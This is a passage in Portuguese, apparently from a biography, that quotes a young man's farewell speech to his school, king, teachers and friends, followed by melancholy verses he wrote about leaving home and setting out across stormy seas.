do seu amor! Ele me permitiu viver esta bela hora! — Que ele continue a velar
sobre mim, o bondoso Deus." Depois, agradece ao rei "por cuja bondade
me foi possível entrar nesta escola…; a ele e à pátria, espero poder honrar,
um dia. É essa a minha vontade." Fala. em seguida, aos seus venerados
mestres, e aos seus colegas "e particularmente a vocês, meus caros amigos,
que lhes poderei dizer no momento de partir".
Compreendo
porque a planta, tirada do solo que a alimentou só pode, num solo estranho,
enraizar com dificuldade e lentidão. Poderei me afastar de vocês? Poderei me
habituar a outro meio? Adeus!”
Não satisfeito
com estas expansões, escreveu para si mesmo estes versos que as reproduzem:
Que seja
assim — a marcha do mundo é tal;
Que me aconteça como a tantos outros.
Eles partem, seu bote se despedaça,
E ninguém pode mostrar o ponto do sumiço.
Adeus, adeus! O sino do barco chama,
E como demoro, o barqueiro me apressa.
E agora, ousado, parto através de vagas, tempestades e recifes!
Adeus! Adeus!…
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